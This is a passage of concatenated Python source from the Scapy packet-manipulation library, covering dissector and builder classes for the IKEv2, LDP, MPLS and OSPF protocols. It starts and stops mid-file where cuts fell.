ByteEnumField("exch_type",0,IKEv2_exchange_type), FlagsField("flags",0, 8, ["res0","res1","res2","Initiator","Version","Response","res6","res7"]), IntField("id",0), IntField("length",None) ] def guess_payload_class(self, payload): if self.flags & 1: return conf.raw_layer return IKEv2_class.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, IKEv2): if other.init_SPI == self.init_SPI: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24]+struct.pack("!I",len(p))+p[28:] return p class IKEv2_Key_Length_Attribute(IntField): # We only support the fixed-length Key Length attribute (the only one currently defined) name="key length" def __init__(self, name): IntField.__init__(self, name, 0x800E0000) def i2h(self, pkt, x): return IntField.i2h(self, pkt, x & 0xFFFF) def h2i(self, pkt, x): return IntField.h2i(self, pkt, x | 0x800E0000) class IKEv2_payload_Transform(IKEv2_class): name = "IKE Transform" fields_desc = [ ByteEnumField("next_payload",None,{0:"last", 3:"Transform"}), ByteField("res",0), ShortField("length",8), ByteEnumField("transform_type",None,IKEv2Transforms), ByteField("res2",0), MultiEnumField("transform_id",None,IKEv2TransformNum,depends_on=lambda pkt:pkt.transform_type,fmt="H"), ConditionalField(IKEv2_Key_Length_Attribute("key_length"), lambda pkt: pkt.length > 8), ] class IKEv2_payload_Proposal(IKEv2_class): name = "IKEv2 Proposal" fields_desc = [ ByteEnumField("next_payload",None,{0:"last", 2:"Proposal"}), ByteField("res",0), FieldLenField("length",None,"trans","H", adjust=lambda pkt,x:x+8), ByteField("proposal",1), ByteEnumField("proto",1,{1:"IKEv2"}), FieldLenField("SPIsize",None,"SPI","B"), ByteField("trans_nb",None), StrLenField("SPI","",length_from=lambda x:x.SPIsize), PacketLenField("trans",conf.raw_layer(),IKEv2_payload_Transform,length_from=lambda x:x.length-8), ] class IKEv2_payload(IKEv2_class): name = "IKEv2 Payload" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), FlagsField("flags",0, 8, ["critical","res1","res2","res3","res4","res5","res6","res7"]), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class IKEv2_payload_VendorID(IKEv2_class): name = "IKEv2 Vendor ID" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4), StrLenField("vendorID","",length_from=lambda x:x.length-4), ] class IKEv2_payload_Delete(IKEv2_class): name = "IKEv2 Vendor ID" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4), StrLenField("vendorID","",length_from=lambda x:x.length-4), ] class IKEv2_payload_SA(IKEv2_class): name = "IKEv2 SA" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"prop","H", adjust=lambda pkt,x:x+4), PacketLenField("prop",conf.raw_layer(),IKEv2_payload_Proposal,length_from=lambda x:x.length-4), ] class IKEv2_payload_Nonce(IKEv2_class): name = "IKEv2 Nonce" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class IKEv2_payload_Notify(IKEv2_class): name = "IKEv2 Notify" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+8), ByteEnumField("proto",None,{0:"Reserved",1:"IKE",2:"AH", 3:"ESP"}), FieldLenField("SPIsize",None,"SPI","B"), ShortEnumField("type",0,IKEv2NotifyMessageTypes), StrLenField("SPI","",length_from=lambda x:x.SPIsize), StrLenField("load","",length_from=lambda x:x.length-8), ] class IKEv2_payload_KE(IKEv2_class): name = "IKEv2 Key Exchange" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+8), ShortEnumField("group", 0, IKEv2TransformTypes['GroupDesc'][1]), ShortField("res2", 0), StrLenField("load","",length_from=lambda x:x.length-8), ] class IKEv2_payload_IDi(IKEv2_class): name = "IKEv2 Identification - Initiator" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8), ByteEnumField("IDtype",1,{1:"IPv4_addr", 2:"FQDN", 3:"Email_addr", 5:"IPv6_addr", 11:"Key"}), ByteEnumField("ProtoID",0,{0:"Unused"}), ShortEnumField("Port",0,{0:"Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load","",length_from=lambda x:x.length-8), ] class IKEv2_payload_IDr(IKEv2_class): name = "IKEv2 Identification - Responder" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8), ByteEnumField("IDtype",1,{1:"IPv4_addr", 2:"FQDN", 3:"Email_addr", 5:"IPv6_addr", 11:"Key"}), ByteEnumField("ProtoID",0,{0:"Unused"}), ShortEnumField("Port",0,{0:"Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load","",length_from=lambda x:x.length-8), ] class IKEv2_payload_Encrypted(IKEv2_class): name = "IKEv2 Encrypted and Authenticated" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class IKEv2_payload_CERTREQ(IKEv2_class): name = "IKEv2 Certificate Request" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"cert_data","H",adjust=lambda pkt,x:x+5), ByteEnumField("cert_type",0,IKEv2CertificateEncodings), StrLenField("cert_data","",length_from=lambda x:x.length-5), ] class IKEv2_payload_CERT(IKEv2_class): name = "IKEv2 Certificate" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"cert_data","H",adjust=lambda pkt,x:x+5), ByteEnumField("cert_type",0,IKEv2CertificateEncodings), StrLenField("cert_data","",length_from=lambda x:x.length-5), ] IKEv2_payload_classes = {} for i in range(len(IKEv2_payload_type)): name = "IKEv2_payload_%s" % IKEv2_payload_type[i] if name in globals(): IKEv2_payload_classes[globals()[name]] = i for i in IKEv2_payload_classes: i.overload_fields = {IKEv2 : {"next_payload" : IKEv2_payload_classes[i]}} for j in IKEv2_payload_classes: i.overload_fields[j] = {"next_payload" : IKEv2_payload_classes[i]} del(i) del(j) del(name) split_layers(UDP, ISAKMP, sport=500) split_layers(UDP, ISAKMP, dport=500) bind_layers( UDP, IKEv2, dport=500, sport=500) # TODO: distinguish IKEv1/IKEv2 def ikev2scan(ip): return sr(IP(dst=ip)/UDP()/IKEv2(init_SPI=RandString(8), exch_type=34)/IKEv2_payload_SA(prop=IKEv2_payload_Proposal())) # conf.debug_dissector = 1 if __name__ == "__main__": interact(mydict=globals(), mybanner="IKEv2 alpha-level protocol implementation") scapy-0.23/scapy/contrib/ldp.py000066400000000000000000000331061320561231000164610ustar00rootroot00000000000000# scapy.contrib.description = Label Distribution Protocol (LDP) # scapy.contrib.status = loads # http://git.savannah.gnu.org/cgit/ldpscapy.git/snapshot/ldpscapy-5285b81d6e628043df2a83301b292f24a95f0ba1.tar.gz # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see . # Copyright (C) 2010 Florian Duraffourg import struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import UDP from scapy.layers.inet import TCP from scapy.base_classes import Net # Guess payload def guess_payload(p): LDPTypes = { 0x0001: LDPNotification, 0x0100: LDPHello, 0x0200: LDPInit, 0x0201: LDPKeepAlive, 0x0300: LDPAddress, 0x0301: LDPAddressWM, 0x0400: LDPLabelMM, 0x0401: LDPLabelReqM, 0x0404: LDPLabelARM, 0x0402: LDPLabelWM, 0x0403: LDPLabelRelM, } type = struct.unpack("!H",p[0:2])[0] type = type & 0x7fff if type == 0x0001 and struct.unpack("!H",p[2:4])[0] > 20: return LDP if type in LDPTypes: return LDPTypes[type] else: return conf.raw_layer ## Fields ## # 3.4.1. FEC TLV class FecTLVField(StrField): islist=1 def m2i(self, pkt, x): nbr = struct.unpack("!H",x[2:4])[0] used = 0 x=x[4:] list=[] while x: #if x[0] == 1: # list.append('Wildcard') #else: #mask=ord(x[8*i+3]) #add=inet_ntoa(x[8*i+4:8*i+8]) mask=ord(x[3]) nbroctets = mask / 8 if mask % 8: nbroctets += 1 add=inet_ntoa(x[4:4+nbroctets]+"\x00"*(4-nbroctets)) list.append( (add, mask) ) used += 4 + nbroctets x=x[4+nbroctets:] return list def i2m(self, pkt, x): if type(x) is str: return x s = "\x01\x00" l = 0 fec = "" for o in x: fec += "\x02\x00\x01" # mask length fec += struct.pack("!B",o[1]) # Prefix fec += inet_aton(o[0]) l += 8 s += struct.pack("!H",l) s += fec return s def size(self, s): """Get the size of this field""" l = 4 + struct.unpack("!H",s[2:4])[0] return l def getfield(self, pkt, s): l = self.size(s) return s[l:],self.m2i(pkt, s[:l]) # 3.4.2.1. Generic Label TLV class LabelTLVField(StrField): def m2i(self, pkt, x): return struct.unpack("!I",x[4:8])[0] def i2m(self, pkt, x): if type(x) is str: return x s = "\x02\x00\x00\x04" s += struct.pack("!I",x) return s def size(self, s): """Get the size of this field""" l = 4 + struct.unpack("!H",s[2:4])[0] return l def getfield(self, pkt, s): l = self.size(s) return s[l:],self.m2i(pkt, s[:l]) # 3.4.3. Address List TLV class AddressTLVField(StrField): islist=1 def m2i(self, pkt, x): nbr = struct.unpack("!H",x[2:4])[0] - 2 nbr /= 4 x=x[6:] list=[] for i in range(0,nbr): add = x[4*i:4*i+4] list.append(inet_ntoa(add)) return list def i2m(self, pkt, x): if type(x) is str: return x l=2+len(x)*4 s = "\x01\x01"+struct.pack("!H",l)+"\x00\x01" for o in x: s += inet_aton(o) return s def size(self, s): """Get the size of this field""" l = 4 + struct.unpack("!H",s[2:4])[0] return l def getfield(self, pkt, s): l = self.size(s) return s[l:],self.m2i(pkt, s[:l]) # 3.4.6. Status TLV class StatusTLVField(StrField): islist=1 def m2i(self, pkt, x): l = [] statuscode = struct.unpack("!I",x[4:8])[0] l.append( (statuscode & 2**31) >> 31) l.append( (statuscode & 2**30) >> 30) l.append( statuscode & 0x3FFFFFFF ) l.append( struct.unpack("!I", x[8:12])[0] ) l.append( struct.unpack("!H", x[12:14])[0] ) return l def i2m(self, pkt, x): if type(x) is str: return x s = "\x03\x00" + struct.pack("!H",10) statuscode = 0 if x[0] != 0: statuscode += 2**31 if x[1] != 0: statuscode += 2**30 statuscode += x[2] s += struct.pack("!I",statuscode) if len(x) > 3: s += struct.pack("!I",x[3]) else: s += "\x00\x00\x00\x00" if len(x) > 4: s += struct.pack("!H",x[4]) else: s += "\x00\x00" return s def getfield(self, pkt, s): l = 14 return s[l:],self.m2i(pkt, s[:l]) # 3.5.2 Common Hello Parameters TLV class CommonHelloTLVField(StrField): islist = 1 def m2i(self, pkt, x): list = [] v = struct.unpack("!H",x[4:6])[0] list.append(v) flags = struct.unpack("B",x[6])[0] v = ( flags & 0x80 ) >> 7 list.append(v) v = ( flags & 0x40 ) >> 7 list.append(v) return list def i2m(self, pkt, x): if type(x) is str: return x s = "\x04\x00\x00\x04" s += struct.pack("!H",x[0]) byte = 0 if x[1] == 1: byte += 0x80 if x[2] == 1: byte += 0x40 s += struct.pack("!B",byte) s += "\x00" return s def getfield(self, pkt, s): l = 8 return s[l:],self.m2i(pkt, s[:l]) # 3.5.3 Common Session Parameters TLV class CommonSessionTLVField(StrField): islist = 1 def m2i(self, pkt, x): l = [] l.append(struct.unpack("!H",x[6:8])[0]) octet = struct.unpack("B",x[8:9])[0] l.append( (octet & 2**7 ) >> 7 ) l.append( (octet & 2**6 ) >> 6 ) l.append( struct.unpack("B",x[9:10])[0] ) l.append( struct.unpack("!H",x[10:12])[0] ) l.append( inet_ntoa(x[12:16]) ) l.append( struct.unpack("!H",x[16:18])[0] ) return l def i2m(self, pkt, x): if type(x) is str: return x s = "\x05\x00\x00\x0E\x00\x01" s += struct.pack("!H",x[0]) octet = 0 if x[1] != 0: octet += 2**7 if x[2] != 0: octet += 2**6 s += struct.pack("!B",octet) s += struct.pack("!B",x[3]) s += struct.pack("!H",x[4]) s += inet_aton(x[5]) s += struct.pack("!H",x[6]) return s def getfield(self, pkt, s): l = 18 return s[l:],self.m2i(pkt, s[:l]) ## Messages ## # 3.5.1. Notification Message class LDPNotification(Packet): name = "LDPNotification" fields_desc = [ BitField("u",0,1), BitField("type", 0x0001, 15), ShortField("len", None), IntField("id", 0) , StatusTLVField("status",(0,0,0,0,0)) ] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.2. Hello Message class LDPHello(Packet): name = "LDPHello" fields_desc = [ BitField("u",0,1), BitField("type", 0x0100, 15), ShortField("len", None), IntField("id", 0) , CommonHelloTLVField("params",[180,0,0]) ] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.3. Initialization Message class LDPInit(Packet): name = "LDPInit" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0200, 15), ShortField("len", None), IntField("id", 0), CommonSessionTLVField("params",None)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.4. KeepAlive Message class LDPKeepAlive(Packet): name = "LDPKeepAlive" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0201, 15), ShortField("len", None), IntField("id", 0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.5. Address Message class LDPAddress(Packet): name = "LDPAddress" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0300, 15), ShortField("len", None), IntField("id", 0), AddressTLVField("address",None) ] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.6. Address Withdraw Message class LDPAddressWM(Packet): name = "LDPAddressWM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0301, 15), ShortField("len", None), IntField("id", 0), AddressTLVField("address",None) ] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.7. Label Mapping Message class LDPLabelMM(Packet): name = "LDPLabelMM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0400, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None), LabelTLVField("label",0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.8. Label Request Message class LDPLabelReqM(Packet): name = "LDPLabelReqM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0401, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.9. Label Abort Request Message class LDPLabelARM(Packet): name = "LDPLabelARM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0404, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None), IntField("labelRMid",0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.10. Label Withdraw Message class LDPLabelWM(Packet): name = "LDPLabelWM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0402, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None), LabelTLVField("label",0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.11. Label Release Message class LDPLabelRelM(Packet): name = "LDPLabelRelM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0403, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None), LabelTLVField("label",0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.1. LDP PDUs class LDP(Packet): name = "LDP" fields_desc = [ ShortField("version",1), ShortField("len", None), IPField("id","127.0.0.1"), ShortField("space",0) ] def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay)-4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) bind_layers( TCP, LDP, sport=646, dport=646 ) bind_layers( UDP, LDP, sport=646, dport=646 ) scapy-0.23/scapy/contrib/mpls.py000066400000000000000000000007501320561231000166540ustar00rootroot00000000000000# http://trac.secdev.org/scapy/ticket/31 # scapy.contrib.description = MPLS # scapy.contrib.status = loads from scapy.packet import Packet,bind_layers from scapy.fields import BitField,ByteField from scapy.layers.l2 import Ether class MPLS(Packet): name = "MPLS" fields_desc = [ BitField("label", 3, 20), BitField("cos", 0, 3), BitField("s", 1, 1), ByteField("ttl", 0) ] bind_layers(Ether, MPLS, type=0x8847) scapy-0.23/scapy/contrib/ospf.py000066400000000000000000000731561320561231000166620ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = OSPF # scapy.contrib.status = loads """ OSPF extension for Scapy This module provides Scapy layers for the Open Shortest Path First routing protocol as defined in RFC 2328 and RFC 5340. Copyright (c) 2008 Dirk Loss : mail dirk-loss de Copyright (c) 2010 Jochen Bartl : jochen.bartl gmail com This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. """ from scapy.all import * EXT_VERSION = "v0.9.2" class OSPFOptionsField(FlagsField): def __init__(self, name="options", default=0, size=8, names=["MT", "E", "MC", "NP", "L", "DC", "O", "DN"]): FlagsField.__init__(self, name, default, size, names) _OSPF_types = {1: "Hello", 2: "DBDesc", 3: "LSReq", 4: "LSUpd", 5: "LSAck"} class OSPF_Hdr(Packet): name = "OSPF Header" fields_desc = [ ByteField("version", 2), ByteEnumField("type", 1, _OSPF_types), ShortField("len", None), IPField("src", "1.1.1.1"), IPField("area", "0.0.0.0"), # default: backbone XShortField("chksum", None), ShortEnumField("authtype", 0, {0:"Null", 1:"Simple", 2:"Crypto"}), # Null or Simple Authentication ConditionalField(XLongField("authdata", 0), lambda pkt:pkt.authtype != 2), # Crypto Authentication ConditionalField(XShortField("reserved", 0), lambda pkt:pkt.authtype == 2), ConditionalField(ByteField("keyid", 1), lambda pkt:pkt.authtype == 2), ConditionalField(ByteField("authdatalen", 0), lambda pkt:pkt.authtype == 2), ConditionalField(XIntField("seq", 0), lambda pkt:pkt.authtype == 2), # TODO: Support authdata (which is appended to the packets as if it were padding) ] def post_build(self, p, pay): # TODO: Remove LLS data from pay # LLS data blocks may be attached to OSPF Hello and DD packets # The length of the LLS block shall not be included into the length of OSPF packet # See p += pay l = self.len if l is None: l = len(p) p = p[:2] + struct.pack("!H", l) + p[4:] if self.chksum is None: if self.authtype == 2: ck = 0 # Crypto, see RFC 2328, D.4.3 else: # Checksum is calculated without authentication data # Algorithm is the same as in IP() ck = checksum(p[:16] + p[24:]) p = p[:12] + struct.pack('!H',ck) + p[14:] # TODO: Handle Crypto: Add message digest (RFC 2328, D.4.3) return p def hashret(self): return struct.pack("4s", inet_aton(self.area)) + self.payload.hashret() def answers(self, other): if (isinstance(other, OSPF_Hdr) and self.area == other.area and self.type == 5): # Only acknowledgements answer other packets return self.payload.answers(other.payload) return 0 class OSPF_Hello(Packet): name = "OSPF Hello" fields_desc = [IPField("mask", "255.255.255.0"), ShortField("hellointerval", 10), OSPFOptionsField(), ByteField("prio", 1), IntField("deadinterval", 40), IPField("router", "0.0.0.0"), IPField("backup", "0.0.0.0"), FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 44))] def guess_payload_class(self, payload): # check presence of LLS data block flag if self.options & 0x10 == 0x10: return OSPF_LLS_Hdr else: return Packet.guess_payload_class(self, payload) class LLS_Generic_TLV(Packet): name = "LLS Generic" fields_desc = [ShortField("type", 1), FieldLenField("len", None, length_of=lambda x: x.val), StrLenField("val", "", length_from=lambda x: x.len)] def guess_payload_class(self, p): return conf.padding_layer class LLS_ExtendedOptionsField(FlagsField): def __init__(self, name="options", default=0, size=32, names=["LR", "RS"]): FlagsField.__init__(self, name, default, size, names) class LLS_Extended_Options(LLS_Generic_TLV): name = "LLS Extended Options and Flags" fields_desc = [ShortField("type", 1), ShortField("len", 4), LLS_ExtendedOptionsField()] class LLS_Crypto_Auth(LLS_Generic_TLV): name = "LLS Cryptographic Authentication" fields_desc = [ShortField("type", 2), FieldLenField("len", 20, fmt="B", length_of=lambda x: x.authdata), XIntField("sequence", "\x00\x00\x00\x00"), StrLenField("authdata", "\x00" * 16, length_from=lambda x: x.len)] def post_build(self, p, pay): p += pay l = self.len if l is None: # length = len(sequence) + len(authdata) + len(payload) l = len(p[3:]) p = p[:2] + struct.pack("!H", l) + p[3:] return p _OSPF_LLSclasses = {1: "LLS_Extended_Options", 2: "LLS_Crypto_Auth"} def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 4: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs) class OSPF_LLS_Hdr(Packet): name = "OSPF Link-local signaling" fields_desc = [XShortField("chksum", None), # FIXME Length should be displayed in 32-bit words ShortField("len", None), PacketListField("llstlv", [], _LLSGuessPayloadClass)] def post_build(self, p, pay): p += pay l = self.len if l is None: # Length in 32-bit words l = len(p) / 4 p = p[:2] + struct.pack("!H", l) + p[4:] if self.chksum is None: c = checksum(p) p = chr((c >> 8) & 0xff) + chr(c & 0xff) + p[2:] return p _OSPF_LStypes = {1: "router", 2: "network", 3: "summaryIP", 4: "summaryASBR", 5: "external", 7: "NSSAexternal"} _OSPF_LSclasses = {1: "OSPF_Router_LSA", 2: "OSPF_Network_LSA", 3: "OSPF_SummaryIP_LSA", 4: "OSPF_SummaryASBR_LSA", 5: "OSPF_External_LSA", 7: "OSPF_NSSA_External_LSA"} def ospf_lsa_checksum(lsa): """ Fletcher checksum for OSPF LSAs, returned as a 2 byte string. Give the whole LSA packet as argument. For details on the algorithm, see RFC 2328 chapter 12.1.7 and RFC 905 Annex B. """ # This is based on the GPLed C implementation in Zebra CHKSUM_OFFSET = 16 if len(lsa) < CHKSUM_OFFSET: raise Exception("LSA Packet too short (%s bytes)" % len(lsa)) c0 = c1 = 0 # Calculation is done with checksum set to zero lsa = lsa[:CHKSUM_OFFSET] + lsa[CHKSUM_OFFSET + 2:] for char in lsa[2:]: # leave out age c0 += char c1 += c0 c0 %= 255 c1 %= 255 x = ((len(lsa) - CHKSUM_OFFSET - 1) * c0 - c1) % 255 if (x <= 0): x += 255 y = 510 - c0 - x if (y > 255): y -= 255 checksum = (x << 8) + y return checksum class OSPF_LSA_Hdr(Packet): name = "OSPF LSA Header" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteEnumField("type", 1, _OSPF_LStypes), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", 0), ShortField("len", 36)] def extract_padding(self, s): return "", s _OSPF_Router_LSA_types = {1: "p2p", 2: "transit", 3: "stub", 4: "virtual"} class OSPF_Link(Packet): name = "OSPF Link" fields_desc = [IPField("id", "192.168.0.0"), IPField("data", "255.255.255.0"), ByteEnumField("type", 3, _OSPF_Router_LSA_types), ByteField("toscount", 0), ShortField("metric", 10), # TODO: define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt: False), ConditionalField(ByteField("reserved", 0), lambda pkt: False), ConditionalField(ShortField("tosmetric", 0), lambda pkt: False)] def extract_padding(self, s): return "", s def _LSAGuessPayloadClass(p, **kargs): """ Guess the correct LSA class for a given payload """ # This is heavily based on scapy-cdp.py by Nicolas Bareil and Arnaud Ebalard # XXX: This only works if all payload cls = conf.raw_layer if len(p) >= 4: typ = p[3] clsname = _OSPF_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs) class OSPF_BaseLSA(Packet): """ An abstract base class for Link State Advertisements """ def post_build(self, p, pay): length = self.len if length is None: length = len(p) p = p[:18] + struct.pack("!H", length) + p[20:] if self.chksum is None: chksum = ospf_lsa_checksum(p) p = p[:16] + struct.pack("!H", chksum) + p[18:] return p # p+pay? def extract_padding(self, s): length = self.len return "", s class OSPF_Router_LSA(OSPF_BaseLSA): name = "OSPF Router LSA" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 1), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["B", "E", "V", "W", "Nt"]), ByteField("reserved", 0), FieldLenField("linkcount", None, count_of="linklist"), PacketListField("linklist", [], OSPF_Link, count_from=lambda pkt: pkt.linkcount, length_from=lambda pkt: pkt.linkcount * 12)] class OSPF_Network_LSA(OSPF_BaseLSA): name = "OSPF Network LSA" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 2), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), FieldListField("routerlist", [], IPField("", "1.1.1.1"), length_from=lambda pkt: pkt.len - 24)] class OSPF_SummaryIP_LSA(OSPF_BaseLSA): name = "OSPF Summary LSA (IP Network)" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 3), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), ByteField("reserved", 0), X3BytesField("metric", 10), # TODO: Define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt:False), ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] class OSPF_SummaryASBR_LSA(OSPF_SummaryIP_LSA): name = "OSPF Summary LSA (AS Boundary Router)" type = 4 id = "2.2.2.2" mask = "0.0.0.0" metric = 20 class OSPF_External_LSA(OSPF_BaseLSA): name = "OSPF External LSA (ASBR)" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 5), IPField("id", "192.168.0.0"), IPField("adrouter", "2.2.2.2"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), FlagsField("ebit", 0, 1, ["E"]), BitField("reserved", 0, 7), X3BytesField("metric", 20), IPField("fwdaddr", "0.0.0.0"), XIntField("tag", 0), # TODO: Define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt:False), ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] class OSPF_NSSA_External_LSA(OSPF_External_LSA): name = "OSPF NSSA External LSA" type = 7 class OSPF_DBDesc(Packet): name = "OSPF Database Description" fields_desc = [ShortField("mtu", 1500), OSPFOptionsField(), FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R", "4", "3", "2", "1"]), IntField("ddseq", 1), PacketListField("lsaheaders", None, OSPF_LSA_Hdr, count_from = lambda pkt: None, length_from = lambda pkt: pkt.underlayer.len - 24 - 8)] def guess_payload_class(self, payload): # check presence of LLS data block flag if self.options & 0x10 == 0x10: return OSPF_LLS_Hdr else: return Packet.guess_payload_class(self, payload) class OSPF_LSReq_Item(Packet): name = "OSPF Link State Request (item)" fields_desc = [IntEnumField("type", 1, _OSPF_LStypes), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1")] def extract_padding(self, s): return "", s class OSPF_LSReq(Packet): name = "OSPF Link State Request (container)" fields_desc = [PacketListField("requests", None, OSPF_LSReq_Item, count_from = lambda pkt:None, length_from = lambda pkt:pkt.underlayer.len - 24)] class OSPF_LSUpd(Packet): name = "OSPF Link State Update" fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), PacketListField("lsalist", [], _LSAGuessPayloadClass, count_from = lambda pkt: pkt.lsacount, length_from = lambda pkt: pkt.underlayer.len - 24)] class OSPF_LSAck(Packet): name = "OSPF Link State Acknowledgement" fields_desc = [PacketListField("lsaheaders", None, OSPF_LSA_Hdr, count_from = lambda pkt: None, length_from = lambda pkt: pkt.underlayer.len - 24)] def answers(self, other): if isinstance(other, OSPF_LSUpd): for reqLSA in other.lsalist: for ackLSA in self.lsaheaders: if (reqLSA.type == ackLSA.type and reqLSA.seq == 